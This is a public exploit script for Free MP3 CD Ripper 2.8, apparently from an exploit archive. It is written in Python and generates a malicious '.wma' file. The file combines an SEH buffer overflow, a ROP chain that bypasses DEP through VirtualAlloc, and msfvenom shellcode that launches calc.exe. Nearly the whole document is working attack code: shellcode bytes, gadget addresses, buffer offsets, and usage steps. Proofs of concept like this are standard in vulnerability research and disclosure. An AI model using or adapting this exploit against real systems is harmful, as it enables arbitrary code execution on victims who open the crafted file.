Free MP3 CD Ripper 2.8 – ‘.wma’ Buffer Overflow (SEH) (DEP Bypass)
# Exploit Title: Free MP3 CD Ripper 2.8 - '.wma' Buffer Overflow (SEH) (DEP Bypass) # Date: 2018-10-08 # Exploit Author: Matteo Malvica # Vendor: Cleanersoft Software # Software Link: http://www.commentcamarche.net/download/telecharger-34082200-free-mp3-cd-ripper # Tested Version: 2.8 # Tested on OS: Windows 7 - 64bit # Modified SEH Exploit https://www.exploit-db.com/exploits/45412/ # CVE : N/A # # Steps: # 0. Turn DEP on and reboot # I Run the python script, it will create a new file with the name "exploit.wma". # II Start the program and click on "Convert". # III Load the file "exploit.wma" # IV A shiny calculator will pop-up on your desktop #!/usr/bin/python import struct # msfvenom -p windows/exec CMD=calc.exe -b '\x00\x0a\x0d\x2f' -f python shellcode = "" shellcode += "\xdb\xde\xd9\x74\x24\xf4\x58\x2b\xc9\xb1\x31\xba\xef" shellcode += "\xc3\xbd\x59\x83\xc0\x04\x31\x50\x14\x03\x50\xfb\x21" shellcode += "\x48\xa5\xeb\x24\xb3\x56\xeb\x48\x3d\xb3\xda\x48\x59" shellcode += "\xb7\x4c\x79\x29\x95\x60\xf2\x7f\x0e\xf3\x76\xa8\x21" shellcode += "\xb4\x3d\x8e\x0c\x45\x6d\xf2\x0f\xc5\x6c\x27\xf0\xf4" shellcode += "\xbe\x3a\xf1\x31\xa2\xb7\xa3\xea\xa8\x6a\x54\x9f\xe5" shellcode += "\xb6\xdf\xd3\xe8\xbe\x3c\xa3\x0b\xee\x92\xb8\x55\x30" shellcode += "\x14\x6d\xee\x79\x0e\x72\xcb\x30\xa5\x40\xa7\xc2\x6f" shellcode += "\x99\x48\x68\x4e\x16\xbb\x70\x96\x90\x24\x07\xee\xe3" shellcode += "\xd9\x10\x35\x9e\x05\x94\xae\x38\xcd\x0e\x0b\xb9\x02" shellcode += "\xc8\xd8\xb5\xef\x9e\x87\xd9\xee\x73\xbc\xe5\x7b\x72" shellcode += "\x13\x6c\x3f\x51\xb7\x35\x9b\xf8\xee\x93\x4a\x04\xf0" shellcode += "\x7c\x32\xa0\x7a\x90\x27\xd9\x20\xfe\xb6\x6f\x5f\x4c" shellcode += "\xb8\x6f\x60\xe0\xd1\x5e\xeb\x6f\xa5\x5e\x3e\xd4\x59" shellcode += "\x15\x63\x7c\xf2\xf0\xf1\x3d\x9f\x02\x2c\x01\xa6\x80" shellcode += "\xc5\xf9\x5d\x98\xaf\xfc\x1a\x1e\x43\x8c\x33\xcb\x63" shellcode += "\x23\x33\xde\x07\xa2\xa7\x82\xe9\x41\x40\x20\xf6" def create_rop_chain(): # rop chain generated with mona.py - www.corelan.be rop_gadgets = [ 0x00487219, # POP EDX # RETN [fcrip.exe] 0x004e9208, # ptr to &VirtualAlloc() [IAT fcrip.exe] 0x10007089, # MOV EAX,DWORD PTR DS:[EDX] # RETN [libFLAC.dll] 0x0040508e, # XCHG EAX,ESI # RETN [fcrip.exe] 0x004d9e5c, # POP EBP # RETN [fcrip.exe] 0x1000c5ce, # & push esp # ret [libFLAC.dll] 0x00445aff, # POP EBX # RETN [fcrip.exe] 0x00000001, # 0x00000001-> ebx 0x00494012, # POP EDX # RETN [fcrip.exe] 0x00001000, # 0x00001000-> edx 0x004c2d76, # POP ECX # RETN [fcrip.exe] 0x00000040, # 0x00000040-> ecx 0x00409aa4, # POP EDI # RETN [fcrip.exe] 0x00412557, # RETN (ROP NOP) [fcrip.exe] 0x639d1575, # POP EAX # RETN [vorbis.dll] 0x90909090, # nop 0x00493619, # PUSHAD # RETN [fcrip.exe] ] return ''.join(struct.pack('<I', _) for _ in rop_gadgets) rop_chain = create_rop_chain() nop_block = '\x90' * 8 total_buffer = 4444 offset = "A" * 3804 SEH = struct.pack('<L',0x639d2ad8) # 0x639d2ad8 # ADD ESP,45C # XOR EAX,EAX # POP EBX # POP ESI # POP EDI # POP EBP # RETN ** [vorbis.dll] ** padding = "B" * (total_buffer - len(SEH) - len(offset)) payload = offset + nop_block + rop_chain + nop_block * 2 + shellcode + "\xCC" * 4 + SEH + padding try: f=open("exploit.wma","w") print "[+] Creating %s bytes of tiramisù payload..." %len(payload) f.write(payload) f.close() print "[+] High carb exploit created!" except: print "Dessert cannot be created" |